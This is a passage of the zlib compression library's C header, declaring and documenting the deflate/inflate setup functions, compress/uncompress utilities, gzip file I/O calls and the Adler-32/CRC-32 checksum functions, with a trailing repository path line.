library. 415 | 416 | The windowBits parameter is the base two logarithm of the window size 417 | (the size of the history buffer). It should be in the range 8..15 for this 418 | version of the library. Larger values of this parameter result in better 419 | compression at the expense of memory usage. The default value is 15 if 420 | deflateInit is used instead. 421 | 422 | The memLevel parameter specifies how much memory should be allocated 423 | for the internal compression state. memLevel=1 uses minimum memory but 424 | is slow and reduces compression ratio; memLevel=9 uses maximum memory 425 | for optimal speed. The default value is 8. See zconf.h for total memory 426 | usage as a function of windowBits and memLevel. 427 | 428 | The strategy parameter is used to tune the compression algorithm. Use the 429 | value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a 430 | filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no 431 | string match). Filtered data consists mostly of small values with a 432 | somewhat random distribution. In this case, the compression algorithm is 433 | tuned to compress them better. The effect of Z_FILTERED is to force more 434 | Huffman coding and less string matching; it is somewhat intermediate 435 | between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects 436 | the compression ratio but not the correctness of the compressed output even 437 | if it is not set appropriately. 438 | 439 | deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough 440 | memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid 441 | method). msg is set to null if there is no error message. deflateInit2 does 442 | not perform any compression: this will be done by deflate(). 443 | */ 444 | 445 | ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm, 446 | const Bytef *dictionary, 447 | uInt dictLength)); 448 | /* 449 | Initializes the compression dictionary from the given byte sequence 450 | without producing any compressed output. This function must be called 451 | immediately after deflateInit, deflateInit2 or deflateReset, before any 452 | call of deflate. The compressor and decompressor must use exactly the same 453 | dictionary (see inflateSetDictionary). 454 | 455 | The dictionary should consist of strings (byte sequences) that are likely 456 | to be encountered later in the data to be compressed, with the most commonly 457 | used strings preferably put towards the end of the dictionary. Using a 458 | dictionary is most useful when the data to be compressed is short and can be 459 | predicted with good accuracy; the data can then be compressed better than 460 | with the default empty dictionary. 461 | 462 | Depending on the size of the compression data structures selected by 463 | deflateInit or deflateInit2, a part of the dictionary may in effect be 464 | discarded, for example if the dictionary is larger than the window size in 465 | deflate or deflate2. Thus the strings most likely to be useful should be 466 | put at the end of the dictionary, not at the front. 467 | 468 | Upon return of this function, strm->adler is set to the Adler32 value 469 | of the dictionary; the decompressor may later use this value to determine 470 | which dictionary has been used by the compressor. (The Adler32 value 471 | applies to the whole dictionary even if only a subset of the dictionary is 472 | actually used by the compressor.) 473 | 474 | deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a 475 | parameter is invalid (such as NULL dictionary) or the stream state is 476 | inconsistent (for example if deflate has already been called for this stream 477 | or if the compression method is bsort). deflateSetDictionary does not 478 | perform any compression: this will be done by deflate(). 479 | */ 480 | 481 | ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest, 482 | z_streamp source)); 483 | /* 484 | Sets the destination stream as a complete copy of the source stream. 485 | 486 | This function can be useful when several compression strategies will be 487 | tried, for example when there are several ways of pre-processing the input 488 | data with a filter. The streams that will be discarded should then be freed 489 | by calling deflateEnd. Note that deflateCopy duplicates the internal 490 | compression state which can be quite large, so this strategy is slow and 491 | can consume lots of memory. 492 | 493 | deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not 494 | enough memory, Z_STREAM_ERROR if the source stream state was inconsistent 495 | (such as zalloc being NULL). msg is left unchanged in both source and 496 | destination. 497 | */ 498 | 499 | ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm)); 500 | /* 501 | This function is equivalent to deflateEnd followed by deflateInit, 502 | but does not free and reallocate all the internal compression state. 503 | The stream will keep the same compression level and any other attributes 504 | that may have been set by deflateInit2. 505 | 506 | deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source 507 | stream state was inconsistent (such as zalloc or state being NULL). 508 | */ 509 | 510 | ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm, 511 | int level, 512 | int strategy)); 513 | /* 514 | Dynamically update the compression level and compression strategy. The 515 | interpretation of level and strategy is as in deflateInit2. This can be 516 | used to switch between compression and straight copy of the input data, or 517 | to switch to a different kind of input data requiring a different 518 | strategy. If the compression level is changed, the input available so far 519 | is compressed with the old level (and may be flushed); the new level will 520 | take effect only at the next call of deflate(). 521 | 522 | Before the call of deflateParams, the stream state must be set as for 523 | a call of deflate(), since the currently available input may have to 524 | be compressed and flushed. In particular, strm->avail_out must be non-zero. 525 | 526 | deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source 527 | stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR 528 | if strm->avail_out was zero. 529 | */ 530 | 531 | /* 532 | ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm, 533 | int windowBits)); 534 | 535 | This is another version of inflateInit with an extra parameter. The 536 | fields next_in, avail_in, zalloc, zfree and opaque must be initialized 537 | before by the caller. 538 | 539 | The windowBits parameter is the base two logarithm of the maximum window 540 | size (the size of the history buffer). It should be in the range 8..15 for 541 | this version of the library. The default value is 15 if inflateInit is used 542 | instead. If a compressed stream with a larger window size is given as 543 | input, inflate() will return with the error code Z_DATA_ERROR instead of 544 | trying to allocate a larger window. 545 | 546 | inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough 547 | memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative 548 | memLevel). msg is set to null if there is no error message. inflateInit2 549 | does not perform any decompression apart from reading the zlib header if 550 | present: this will be done by inflate(). (So next_in and avail_in may be 551 | modified, but next_out and avail_out are unchanged.) 552 | */ 553 | 554 | ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm, 555 | const Bytef *dictionary, 556 | uInt dictLength)); 557 | /* 558 | Initializes the decompression dictionary from the given uncompressed byte 559 | sequence. This function must be called immediately after a call of inflate 560 | if this call returned Z_NEED_DICT. The dictionary chosen by the compressor 561 | can be determined from the Adler32 value returned by this call of 562 | inflate. The compressor and decompressor must use exactly the same 563 | dictionary (see deflateSetDictionary). 564 | 565 | inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a 566 | parameter is invalid (such as NULL dictionary) or the stream state is 567 | inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the 568 | expected one (incorrect Adler32 value). inflateSetDictionary does not 569 | perform any decompression: this will be done by subsequent calls of 570 | inflate(). 571 | */ 572 | 573 | ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm)); 574 | /* 575 | Skips invalid compressed data until a full flush point (see above the 576 | description of deflate with Z_FULL_FLUSH) can be found, or until all 577 | available input is skipped. No output is provided. 578 | 579 | inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR 580 | if no more input was provided, Z_DATA_ERROR if no flush point has been found, 581 | or Z_STREAM_ERROR if the stream structure was inconsistent. In the success 582 | case, the application may save the current current value of total_in which 583 | indicates where valid compressed data was found. In the error case, the 584 | application may repeatedly call inflateSync, providing more input each time, 585 | until success or end of the input data. 586 | */ 587 | 588 | ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm)); 589 | /* 590 | This function is equivalent to inflateEnd followed by inflateInit, 591 | but does not free and reallocate all the internal decompression state. 592 | The stream will keep attributes that may have been set by inflateInit2. 593 | 594 | inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source 595 | stream state was inconsistent (such as zalloc or state being NULL). 596 | */ 597 | 598 | 599 | /* utility functions */ 600 | 601 | /* 602 | The following utility functions are implemented on top of the 603 | basic stream-oriented functions. To simplify the interface, some 604 | default options are assumed (compression level and memory usage, 605 | standard memory allocation functions). The source code of these 606 | utility functions can easily be modified if you need special options. 607 | */ 608 | 609 | ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen, 610 | const Bytef *source, uLong sourceLen)); 611 | /* 612 | Compresses the source buffer into the destination buffer. sourceLen is 613 | the byte length of the source buffer. Upon entry, destLen is the total 614 | size of the destination buffer, which must be at least 0.1% larger than 615 | sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the 616 | compressed buffer. 617 | This function can be used to compress a whole file at once if the 618 | input file is mmap'ed. 619 | compress returns Z_OK if success, Z_MEM_ERROR if there was not 620 | enough memory, Z_BUF_ERROR if there was not enough room in the output 621 | buffer. 622 | */ 623 | 624 | ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen, 625 | const Bytef *source, uLong sourceLen, 626 | int level)); 627 | /* 628 | Compresses the source buffer into the destination buffer. The level 629 | parameter has the same meaning as in deflateInit. sourceLen is the byte 630 | length of the source buffer. Upon entry, destLen is the total size of the 631 | destination buffer, which must be at least 0.1% larger than sourceLen plus 632 | 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. 633 | 634 | compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough 635 | memory, Z_BUF_ERROR if there was not enough room in the output buffer, 636 | Z_STREAM_ERROR if the level parameter is invalid. 637 | */ 638 | 639 | ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen, 640 | const Bytef *source, uLong sourceLen)); 641 | /* 642 | Decompresses the source buffer into the destination buffer. sourceLen is 643 | the byte length of the source buffer. Upon entry, destLen is the total 644 | size of the destination buffer, which must be large enough to hold the 645 | entire uncompressed data. (The size of the uncompressed data must have 646 | been saved previously by the compressor and transmitted to the decompressor 647 | by some mechanism outside the scope of this compression library.) 648 | Upon exit, destLen is the actual size of the compressed buffer. 649 | This function can be used to decompress a whole file at once if the 650 | input file is mmap'ed. 651 | 652 | uncompress returns Z_OK if success, Z_MEM_ERROR if there was not 653 | enough memory, Z_BUF_ERROR if there was not enough room in the output 654 | buffer, or Z_DATA_ERROR if the input data was corrupted. 655 | */ 656 | 657 | 658 | typedef voidp gzFile; 659 | 660 | ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode)); 661 | /* 662 | Opens a gzip (.gz) file for reading or writing. The mode parameter 663 | is as in fopen ("rb" or "wb") but can also include a compression level 664 | ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for 665 | Huffman only compression as in "wb1h". (See the description 666 | of deflateInit2 for more information about the strategy parameter.) 667 | 668 | gzopen can be used to read a file which is not in gzip format; in this 669 | case gzread will directly read from the file without decompression. 670 | 671 | gzopen returns NULL if the file could not be opened or if there was 672 | insufficient memory to allocate the (de)compression state; errno 673 | can be checked to distinguish the two cases (if errno is zero, the 674 | zlib error is Z_MEM_ERROR). */ 675 | 676 | ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode)); 677 | /* 678 | gzdopen() associates a gzFile with the file descriptor fd. File 679 | descriptors are obtained from calls like open, dup, creat, pipe or 680 | fileno (in the file has been previously opened with fopen). 681 | The mode parameter is as in gzopen. 682 | The next call of gzclose on the returned gzFile will also close the 683 | file descriptor fd, just like fclose(fdopen(fd), mode) closes the file 684 | descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode). 685 | gzdopen returns NULL if there was insufficient memory to allocate 686 | the (de)compression state. 687 | */ 688 | 689 | ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy)); 690 | /* 691 | Dynamically update the compression level or strategy. See the description 692 | of deflateInit2 for the meaning of these parameters. 693 | gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not 694 | opened for writing. 695 | */ 696 | 697 | ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len)); 698 | /* 699 | Reads the given number of uncompressed bytes from the compressed file. 700 | If the input file was not in gzip format, gzread copies the given number 701 | of bytes into the buffer. 702 | gzread returns the number of uncompressed bytes actually read (0 for 703 | end of file, -1 for error). */ 704 | 705 | ZEXTERN int ZEXPORT gzwrite OF((gzFile file, 706 | const voidp buf, unsigned len)); 707 | /* 708 | Writes the given number of uncompressed bytes into the compressed file. 709 | gzwrite returns the number of uncompressed bytes actually written 710 | (0 in case of error). 711 | */ 712 | 713 | ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...)); 714 | /* 715 | Converts, formats, and writes the args to the compressed file under 716 | control of the format string, as in fprintf. gzprintf returns the number of 717 | uncompressed bytes actually written (0 in case of error). 718 | */ 719 | 720 | ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s)); 721 | /* 722 | Writes the given null-terminated string to the compressed file, excluding 723 | the terminating null character. 724 | gzputs returns the number of characters written, or -1 in case of error. 725 | */ 726 | 727 | ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len)); 728 | /* 729 | Reads bytes from the compressed file until len-1 characters are read, or 730 | a newline character is read and transferred to buf, or an end-of-file 731 | condition is encountered. The string is then terminated with a null 732 | character. 733 | gzgets returns buf, or Z_NULL in case of error. 734 | */ 735 | 736 | ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c)); 737 | /* 738 | Writes c, converted to an unsigned char, into the compressed file. 739 | gzputc returns the value that was written, or -1 in case of error. 740 | */ 741 | 742 | ZEXTERN int ZEXPORT gzgetc OF((gzFile file)); 743 | /* 744 | Reads one byte from the compressed file. gzgetc returns this byte 745 | or -1 in case of end of file or error. 746 | */ 747 | 748 | ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush)); 749 | /* 750 | Flushes all pending output into the compressed file. The parameter 751 | flush is as in the deflate() function. The return value is the zlib 752 | error number (see function gzerror below). gzflush returns Z_OK if 753 | the flush parameter is Z_FINISH and all output could be flushed. 754 | gzflush should be called only when strictly necessary because it can 755 | degrade compression. 756 | */ 757 | 758 | ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file, 759 | z_off_t offset, int whence)); 760 | /* 761 | Sets the starting position for the next gzread or gzwrite on the 762 | given compressed file. The offset represents a number of bytes in the 763 | uncompressed data stream. The whence parameter is defined as in lseek(2); 764 | the value SEEK_END is not supported. 765 | If the file is opened for reading, this function is emulated but can be 766 | extremely slow. If the file is opened for writing, only forward seeks are 767 | supported; gzseek then compresses a sequence of zeroes up to the new 768 | starting position. 769 | 770 | gzseek returns the resulting offset location as measured in bytes from 771 | the beginning of the uncompressed stream, or -1 in case of error, in 772 | particular if the file is opened for writing and the new starting position 773 | would be before the current position. 774 | */ 775 | 776 | ZEXTERN int ZEXPORT gzrewind OF((gzFile file)); 777 | /* 778 | Rewinds the given file. This function is supported only for reading. 779 | 780 | gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET) 781 | */ 782 | 783 | ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file)); 784 | /* 785 | Returns the starting position for the next gzread or gzwrite on the 786 | given compressed file. This position represents a number of bytes in the 787 | uncompressed data stream. 788 | 789 | gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR) 790 | */ 791 | 792 | ZEXTERN int ZEXPORT gzeof OF((gzFile file)); 793 | /* 794 | Returns 1 when EOF has previously been detected reading the given 795 | input stream, otherwise zero. 796 | */ 797 | 798 | ZEXTERN int ZEXPORT gzclose OF((gzFile file)); 799 | /* 800 | Flushes all pending output if necessary, closes the compressed file 801 | and deallocates all the (de)compression state. The return value is the zlib 802 | error number (see function gzerror below). 803 | */ 804 | 805 | ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum)); 806 | /* 807 | Returns the error message for the last error which occurred on the 808 | given compressed file. errnum is set to zlib error number. If an 809 | error occurred in the file system and not in the compression library, 810 | errnum is set to Z_ERRNO and the application may consult errno 811 | to get the exact error code. 812 | */ 813 | 814 | /* checksum functions */ 815 | 816 | /* 817 | These functions are not related to compression but are exported 818 | anyway because they might be useful in applications using the 819 | compression library. 820 | */ 821 | 822 | ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len)); 823 | 824 | /* 825 | Update a running Adler-32 checksum with the bytes buf[0..len-1] and 826 | return the updated checksum. If buf is NULL, this function returns 827 | the required initial value for the checksum. 828 | An Adler-32 checksum is almost as reliable as a CRC32 but can be computed 829 | much faster. Usage example: 830 | 831 | uLong adler = adler32(0L, Z_NULL, 0); 832 | 833 | while (read_buffer(buffer, length) != EOF) { 834 | adler = adler32(adler, buffer, length); 835 | } 836 | if (adler != original_adler) error(); 837 | */ 838 | 839 | ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len)); 840 | /* 841 | Update a running crc with the bytes buf[0..len-1] and return the updated 842 | crc. If buf is NULL, this function returns the required initial value 843 | for the crc. Pre- and post-conditioning (one's complement) is performed 844 | within this function so it shouldn't be done by the application. 845 | Usage example: 846 | 847 | uLong crc = crc32(0L, Z_NULL, 0); 848 | 849 | while (read_buffer(buffer, length) != EOF) { 850 | crc = crc32(crc, buffer, length); 851 | } 852 | if (crc != original_crc) error(); 853 | */ 854 | 855 | 856 | /* various hacks, don't look :) */ 857 | 858 | /* deflateInit and inflateInit are macros to allow checking the zlib version 859 | * and the compiler's view of z_stream: 860 | */ 861 | ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level, 862 | const char *version, int stream_size)); 863 | ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm, 864 | const char *version, int stream_size)); 865 | ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method, 866 | int windowBits, int memLevel, 867 | int strategy, const char *version, 868 | int stream_size)); 869 | ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits, 870 | const char *version, int stream_size)); 871 | #define deflateInit(strm, level) \ 872 | deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream)) 873 | #define inflateInit(strm) \ 874 | inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream)) 875 | #define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ 876 | deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ 877 | (strategy), ZLIB_VERSION, sizeof(z_stream)) 878 | #define inflateInit2(strm, windowBits) \ 879 | inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream)) 880 | 881 | 882 | #if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL) 883 | struct internal_state {int dummy;}; /* hack for buggy compilers */ 884 | #endif 885 | 886 | ZEXTERN const char * ZEXPORT zError OF((int err)); 887 | ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z)); 888 | ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void)); 889 | 890 | #ifdef __cplusplus 891 | } 892 | #endif 893 | 894 | #endif /* _ZLIB_H */ 895 | -------------------------------------------------------------------------------- /ServerDll/zlib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/zlib.lib --------------------------------------------------------------------------------